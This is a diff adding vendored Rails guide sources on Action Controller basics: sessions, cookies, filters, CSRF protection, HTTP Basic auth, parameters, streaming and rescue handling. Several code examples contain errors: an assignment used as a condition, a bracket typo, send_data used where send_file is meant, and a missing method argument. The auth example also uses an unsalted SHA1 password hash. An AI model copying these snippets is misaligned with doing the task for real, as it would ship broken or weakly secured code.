+ @comment = Comment.new(:name => cookies[:commenter_name])
+ end
+
+ def create
+ @comment = Comment.new(params[:comment])
+ if @comment.save
+ flash[:notice] = "Thanks for your comment!"
+ if params[:remember_name]
+ # Remember the commenter's name
+ cookies[:commenter_name] = @comment.name
+ else
+ # Don't remember, and delete the name if it has been remembered before
+ cookies.delete(:commenter_name)
+ end
+ redirect_to @comment.article
+ else
+ render :action => "new"
+ end
+ end
+
+end
+-----------------------------------------
+
+Note that while for session values, you set the key to `nil`, to delete a cookie value, you should use `cookies.delete(:key)`.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/csrf.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/csrf.txt
new file mode 100644
index 00000000..87e3d39c
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/csrf.txt
@@ -0,0 +1,32 @@
+== Request Forgery Protection ==
+
+Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
+
+If you generate a form like this:
+
+[source, ruby]
+-----------------------------------------
+<% form_for @user do |f| -%>
+ <%= f.text_field :username %>
+ <%= f.text_field :password -%>
+<% end -%>
+-----------------------------------------
+
+You will see how the token gets added as a hidden field:
+
+[source, html]
+-----------------------------------------
+
+-----------------------------------------
+
+Rails adds this token to every form that's generated using the link:../form_helpers.html[form helpers], so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`:
+
+.Add a JavaScript variable containing the token for use with Ajax
+-----------------------------------------
+<%= javascript_tag "MyApp.authenticity_token = '#{form_authenticity_token}'" %>
+-----------------------------------------
+
+The link:../security.html[Security Guide] has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt
new file mode 100644
index 00000000..df67977e
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt
@@ -0,0 +1,119 @@
+== Filters ==
+
+Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
+
+[source, ruby]
+---------------------------------
+class ApplicationController < ActionController::Base
+
+private
+
+ def require_login
+ unless logged_in?
+ flash[:error] = "You must be logged in to access this section"
+ redirect_to new_login_url # Prevents the current action from running
+ end
+ end
+
+ # The logged_in? method simply returns true if the user is logged in and
+ # false otherwise. It does this by "booleanizing" the current_user method
+ # we created previously using a double ! operator. Note that this is not
+ # common in Ruby and is discouraged unless you really mean to convert something
+ # into true or false.
+ def logged_in?
+ !!current_user
+ end
+
+end
+---------------------------------
+
+The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the `before_filter` method:
+
+[source, ruby]
+---------------------------------
+class ApplicationController < ActionController::Base
+
+ before_filter :require_login
+
+end
+---------------------------------
+
+In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_filter` :
+
+[source, ruby]
+---------------------------------
+class LoginsController < Application
+
+ skip_before_filter :require_login, :only => [:new, :create]
+
+end
+---------------------------------
+
+Now, the +LoginsController+'s "new" and "create" actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+
+=== After Filters and Around Filters ===
+
+In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.
+
+[source, ruby]
+---------------------------------
+# Example taken from the Rails API filter documentation:
+# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html
+class ApplicationController < Application
+
+ around_filter :catch_exceptions
+
+private
+
+ def catch_exceptions
+ yield
+ rescue => exception
+ logger.debug "Caught exception! #{exception}"
+ raise
+ end
+
+end
+---------------------------------
+
+=== Other Ways to Use Filters ===
+
+While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
+
+The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the `require_login` filter from above could be rewritten to use a block:
+
+[source, ruby]
+---------------------------------
+class ApplicationController < ActionController::Base
+
+ before_filter { |controller| redirect_to new_login_url unless controller.send(:logged_in?) }
+
+end
+---------------------------------
+
+Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
+
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+
+[source, ruby]
+---------------------------------
+class ApplicationController < ActionController::Base
+
+ before_filter LoginFilter
+
+end
+
+class LoginFilter
+
+ def self.filter(controller)
+ unless logged_in?
+ controller.flash[:error] = "You must be logged in to access this section"
+ controller.redirect_to controller.new_login_url
+ end
+ end
+
+end
+---------------------------------
+
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action.
+
+The Rails API documentation has link:http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html[more information on using filters].
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt
new file mode 100644
index 00000000..8deb40c2
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt
@@ -0,0 +1,24 @@
+== HTTP Basic Authentication ==
+
+Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `authenticate_or_request_with_http_basic`.
+
+[source, ruby]
+-------------------------------------
+class AdminController < ApplicationController
+
+ USERNAME, PASSWORD = "humbaba", "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8"
+
+ before_filter :authenticate
+
+private
+
+ def authenticate
+ authenticate_or_request_with_http_basic do |username, password|
+ username == USERNAME && Digest::SHA1.hexdigest(password) == PASSWORD
+ end
+ end
+
+end
+-------------------------------------
+
+With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/index.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/index.txt
new file mode 100644
index 00000000..6865ace9
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/index.txt
@@ -0,0 +1,40 @@
+Action Controller basics
+=======================
+
+In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
+
+* Follow the flow of a request through a controller
+* Understand why and how to store data in the session or cookies
+* Work with filters to execute code during request processing
+* Use Action Controller's built-in HTTP authentication
+* Stream data directly to the user's browser
+* Filter sensitive parameters so they do not appear in the application's log
+* Deal with exceptions that may be raised during request processing
+
+include::introduction.txt[]
+
+include::methods.txt[]
+
+include::params.txt[]
+
+include::session.txt[]
+
+include::cookies.txt[]
+
+include::filters.txt[]
+
+include::verification.txt[]
+
+include::csrf.txt[]
+
+include::request_response_objects.txt[]
+
+include::http_auth.txt[]
+
+include::streaming.txt[]
+
+include::parameter_filtering.txt[]
+
+include::rescue.txt[]
+
+include::changelog.txt[]
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/introduction.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/introduction.txt
new file mode 100644
index 00000000..6ea217db
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/introduction.txt
@@ -0,0 +1,9 @@
+== What Does a Controller do? ==
+
+Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible.
+
+For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+
+A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
+
+NOTE: For more details on the routing process, see link:../routing_outside_in.html[Rails Routing from the Outside In].
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/methods.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/methods.txt
new file mode 100644
index 00000000..68204c18
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/methods.txt
@@ -0,0 +1,39 @@
+== Methods and Actions ==
+
+A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action.
+
+[source, ruby]
+----------------------------------------------
+class ClientsController < ApplicationController
+
+ # Actions are public methods
+ def new
+ end
+
+ # Action methods are responsible for producing output
+ def edit
+ end
+
+# Helper methods are private and can not be used as actions
+private
+
+ def foo
+ end
+
+end
+----------------------------------------------
+
+There's no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide.
+
+As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of ClientsController and run the `new` method. Note that the empty method from the example above could work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new Client:
+
+[source, ruby]
+----------------------------------------------
+def new
+ @client = Client.new
+end
+----------------------------------------------
+
+The link:../layouts_and_rendering.html[Layouts & rendering guide] explains this in more detail.
+
+ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt
new file mode 100644
index 00000000..e29f6310
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt
@@ -0,0 +1,14 @@
+== Parameter Filtering ==
+
+Rails keeps a log file for each environment (development, test and production) in the "log" folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The `filter_parameter_logging` method can be used to filter out sensitive information from the log. It works by replacing certain values in the `params` hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":
+
+[source, ruby]
+-------------------------
+class ApplicationController < ActionController::Base
+
+ filter_parameter_logging :password
+
+end
+-------------------------
+
+The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in return and replaces those for which the block returns true.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/params.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/params.txt
new file mode 100644
index 00000000..e8a2d3d0
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/params.txt
@@ -0,0 +1,93 @@
+== Parameters ==
+
+You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller:
+
+[source, ruby]
+-------------------------------------
+class ClientsController < ActionController::Base
+
+ # This action uses query string parameters because it gets run by a HTTP
+ # GET request, but this does not make any difference to the way in which
+ # the parameters are accessed. The URL for this action would look like this
+ # in order to list activated clients: /clients?status=activated
+ def index
+ if params[:status] = "activated"
+ @clients = Client.activated
+ else
+ @clients = Client.unativated
+ end
+ end
+
+ # This action uses POST parameters. They are most likely coming from an HTML
+ # form which the user has submitted. The URL for this RESTful request will
+ # be "/clients", and the data will be sent as part of the request body.
+ def create
+ @client = Client.new(params[:client])
+ if @client.save
+ redirect_to @client
+ else
+ # This line overrides the default rendering behavior, which would have been
+ # to render the "create" view.
+ render :action => "new"
+ end
+ end
+
+end
+-------------------------------------
+
+=== Hash and Array Parameters ===
+
+The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name:
+
+-------------------------------------
+GET /clients?ids[]=1&ids[]=2&ids[]=3
+-------------------------------------
+
+NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
+
+The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+
+To send a hash you include the key name inside the brackets:
+
+-------------------------------------
+
+-------------------------------------
+
+The value of `params[:client]` when this form is submitted will be `{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}`. Note the nested hash in `params[:client][:address]`.
+
+Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys.
+
+=== Routing Parameters ===
+
+The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL:
+
+[source, ruby]
+------------------------------------
+# ...
+map.connect "/clients/:status", :controller => "clients", :action => "index", :foo => "bar"
+# ...
+------------------------------------
+
+In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string in the same way `params[:action]` will contain "index".
+
+=== `default_url_options` ===
+
+You can set global default parameters that will be used when generating URLs with `default_url_options`. To do this, define a method with that name in your controller:
+
+------------------------------------
+class ApplicationController < ActionController::Base
+
+ #The options parameter is the hash passed in to +url_for+
+ def default_url_options(options)
+ {:locale => I18n.locale}
+ end
+
+end
+------------------------------------
+
+These options will be used as a starting-point when generating, so it's possible they'll be overridden by +url_for+. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt
new file mode 100644
index 00000000..07a8ec25
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt
@@ -0,0 +1,43 @@
+== The +request+ and +response+ Objects ==
+
+In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of AbstractRequest and the `response` method returns a +response+ object representing what is going to be sent back to the client.
+
+=== The +request+ Object ===
+
+The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the link:http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html[API documentation]. Among the properties that you can access on this object are:
+
+ * host - The hostname used for this request.
+ * domain - The hostname without the first segment (usually "www").
+ * format - The content type requested by the client.
+ * method - The HTTP method used for the request.
+ * get?, post?, put?, delete?, head? - Returns true if the HTTP method is get/post/put/delete/head.
+ * headers - Returns a hash containing the headers associated with the request.
+ * port - The port number (integer) used for the request.
+ * protocol - The protocol used for the request.
+ * query_string - The query string part of the URL - everything after "?".
+ * remote_ip - The IP address of the client.
+ * url - The entire URL used for the request.
+
+==== +path_parameters+, +query_parameters+ and +request_parameters+ ====
+
+Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
+
+=== The +response+ Object ===
+
+The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
+
+ * body - This is the string of data being sent back to the client. This is most often HTML.
+ * status - The HTTP status code for the response, like 200 for a successful request or 404 for file not found.
+ * location - The URL the client is being redirected to, if any.
+ * content_type - The content type of the response.
+ * charset - The character set being used for the response. Default is "utf8".
+ * headers - Headers used for the response.
+
+==== Setting Custom Headers ====
+
+If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to `headers` with the name and value:
+
+[source, ruby]
+-------------------------------------
+response.headers["Content-Type"] = "application/pdf"
+-------------------------------------
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/rescue.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/rescue.txt
new file mode 100644
index 00000000..3353df61
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/rescue.txt
@@ -0,0 +1,67 @@
+== Rescue ==
+
+Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
+
+=== The Default 500 and 404 Templates ===
+
+By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
+
+=== `rescue_from` ===
+
+If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the `:with` option. You can also use a block directly instead of an explicit Proc object.
+
+Here's how you can use +rescue_from+ to intercept all ActiveRecord::RecordNotFound errors and do something with them.
+
+[source, ruby]
+-----------------------------------
+class ApplicationController < ActionController::Base
+
+ rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
+
+private
+
+ def record_not_found
+ render :text => "404 Not Found", :status => 404
+ end
+
+end
+-----------------------------------
+
+Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
+
+[source, ruby]
+-----------------------------------
+class ApplicationController < ActionController::Base
+
+ rescue_from User::NotAuthorized, :with => :user_not_authorized
+
+private
+
+ def user_not_authorized
+ flash[:error] = "You don't have access to this section."
+ redirect_to :back
+ end
+
+end
+
+class ClientsController < ApplicationController
+
+ # Check that the user has the right authorization to access clients.
+ before_filter :check_authorization
+
+ # Note how the actions don't have to worry about all the auth stuff.
+ def edit
+ @client = Client.find(params[:id])
+ end
+
+private
+
+ # If the user is not authorized, just throw the exception.
+ def check_authorization
+ raise User::NotAuthorized unless current_user.admin?
+ end
+
+end
+-----------------------------------
+
+NOTE: Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's link:http://m.onkey.org/2008/7/20/rescue-from-dispatching[article] on the subject for more information.
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt
new file mode 100644
index 00000000..ae5f8767
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt
@@ -0,0 +1,187 @@
+== Session ==
+
+Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
+
+ * CookieStore - Stores everything on the client.
+ * DRbStore - Stores the data on a DRb server.
+ * MemCacheStore - Stores the data in a memcache.
+ * ActiveRecordStore - Stores the data in a database using Active Record.
+
+All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can't use the query string to pass a session ID) because of security concerns (it's easier to hijack a session when the ID is part of the URL).
+
+Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application.
+
+Read more about session storage in the link:../security.html[Security Guide].
+
+If you need a different session storage mechanism, you can change it in the `config/environment.rb` file:
+
+[source, ruby]
+------------------------------------------
+# Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store]
+config.action_controller.session_store = :active_record_store
+------------------------------------------
+
+=== Disabling the Session ===
+
+Sometimes you don't need a session. In this case, you can turn it off to avoid the unnecessary overhead. To do this, use the `session` class method in your controller:
+
+[source, ruby]
+------------------------------------------
+class ApplicationController < ActionController::Base
+ session :off
+end
+------------------------------------------
+
+You can also turn the session on or off for a single controller:
+
+[source, ruby]
+------------------------------------------
+# The session is turned off by default in ApplicationController, but we
+# want to turn it on for log in/out.
+class LoginsController < ActionController::Base
+ session :on
+end
+------------------------------------------
+
+Or even for specified actions:
+
+[source, ruby]
+------------------------------------------
+class ProductsController < ActionController::Base
+ session :on, :only => [:create, :update]
+end
+------------------------------------------
+
+=== Accessing the Session ===
+
+In your controller you can access the session through the `session` instance method.
+
+NOTE: There are two `session` methods, the class and the instance method. The class method which is described above is used to turn the session on and off while the instance method described below is used to access session values.
+
+Session values are stored using key/value pairs like a hash:
+
+[source, ruby]
+------------------------------------------
+class ApplicationController < ActionController::Base
+
+private
+
+ # Finds the User with the ID stored in the session with the key :current_user_id
+ # This is a common way to handle user login in a Rails application; logging in sets the
+ # session value and logging out removes it.
+ def current_user
+ @_current_user ||= session[:current_user_id] && User.find(session[:current_user_id])
+ end
+
+end
+------------------------------------------
+
+To store something in the session, just assign it to the key like a hash:
+
+[source, ruby]
+------------------------------------------
+class LoginsController < ApplicationController
+
+ # "Create" a login, aka "log the user in"
+ def create
+ if user = User.authenticate(params[:username, params[:password])
+ # Save the user ID in the session so it can be used in subsequent requests
+ session[:current_user_id] = user.id
+ redirect_to root_url
+ end
+ end
+
+end
+------------------------------------------
+
+To remove something from the session, assign that key to be `nil`:
+
+[source, ruby]
+------------------------------------------
+class LoginsController < ApplicationController
+
+ # "Delete" a login, aka "log the user out"
+ def destroy
+ # Remove the user id from the session
+ session[:current_user_id] = nil
+ redirect_to root_url
+ end
+
+end
+------------------------------------------
+
+To reset the entire session, use `reset_session`.
+
+=== The flash ===
+
+The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+
+[source, ruby]
+------------------------------------------
+class LoginsController < ApplicationController
+
+ def destroy
+ session[:current_user_id] = nil
+ flash[:notice] = "You have successfully logged out"
+ redirect_to root_url
+ end
+
+end
+------------------------------------------
+
+The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:
+
+------------------------------------------
+
+
+
+ <% if flash[:notice] -%>
+
<%= flash[:notice] %>
+ <% end -%>
+ <% if flash[:error] -%>
+
<%= flash[:error] %>
+ <% end -%>
+
+
+
+------------------------------------------
+
+This way, if an action sets an error or a notice message, the layout will display it automatically.
+
+If you want a flash value to be carried over to another request, use the `keep` method:
+
+[source, ruby]
+------------------------------------------
+class MainController < ApplicationController
+
+ # Let's say this action corresponds to root_url, but you want all requests here to be redirected to
+ # UsersController#index. If an action sets the flash and redirects here, the values would normally be
+ # lost when another redirect happens, but you can use keep to make it persist for another request.
+ def index
+ flash.keep # Will persist all flash values. You can also use a key to keep only that value: flash.keep(:notice)
+ redirect_to users_url
+ end
+
+end
+------------------------------------------
+
+==== +flash.now+ ====
+
+By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`:
+
+[source, ruby]
+------------------------------------------
+class ClientsController < ApplicationController
+
+ def create
+ @client = Client.new(params[:client])
+ if @client.save
+ # ...
+ else
+ flash.now[:error] = "Could not save client"
+ render :action => "new"
+ end
+ end
+
+end
+------------------------------------------
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt
new file mode 100644
index 00000000..dc8ebe6d
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt
@@ -0,0 +1,91 @@
+== Streaming and File Downloads ==
+
+Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, that will both stream data to the client. `send_file` is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.
+
+To stream data to the client, use `send_data`:
+
+[source, ruby]
+----------------------------
+require "prawn"
+class ClientsController < ApplicationController
+
+ # Generate a PDF document with information on the client and return it.
+ # The user will get the PDF as a file download.
+ def download_pdf
+ client = Client.find(params[:id])
+ send_data(generate_pdf, :filename => "#{client.name}.pdf", :type => "application/pdf")
+ end
+
+private
+
+ def generate_pdf(client)
+ Prawn::Document.new do
+ text client.name, :align => :center
+ text "Address: #{client.address}"
+ text "Email: #{client.email}"
+ end.render
+ end
+
+end
+----------------------------
+
+The `download_pdf` action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:disposition` option to "inline". The opposite and default value for this option is "attachment".
+
+=== Sending Files ===
+
+If you want to send a file that already exists on disk, use the `send_file` method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file.
+
+[source, ruby]
+----------------------------
+class ClientsController < ApplicationController
+
+ # Stream a file that has already been generated and stored on disk
+ def download_pdf
+ client = Client.find(params[:id])
+ send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf", :filename => "#{client.name}.pdf", :type => "application/pdf")
+ end
+
+end
+----------------------------
+
+This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option.
+
+WARNING: Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
+
+TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
+
+=== RESTful Downloads ===
+
+While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming:
+
+[source, ruby]
+----------------------------
+class ClientsController < ApplicationController
+
+ # The user can request to receive this resource as HTML or PDF.
+ def show
+ @client = Client.find(params[:id])
+
+ respond_to do |format|
+ format.html
+ format.pdf{ render :pdf => generate_pdf(@client) }
+ end
+ end
+
+end
+----------------------------
+
+In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`:
+
+[source, ruby]
+----------------------------
+Mime::Type.register "application/pdf", :pdf
+----------------------------
+
+NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
+
+Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
+
+----------------------------
+GET /clients/1.pdf
+----------------------------
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt
new file mode 100644
index 00000000..5d8ee611
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt
@@ -0,0 +1,40 @@
+== Verification ==
+
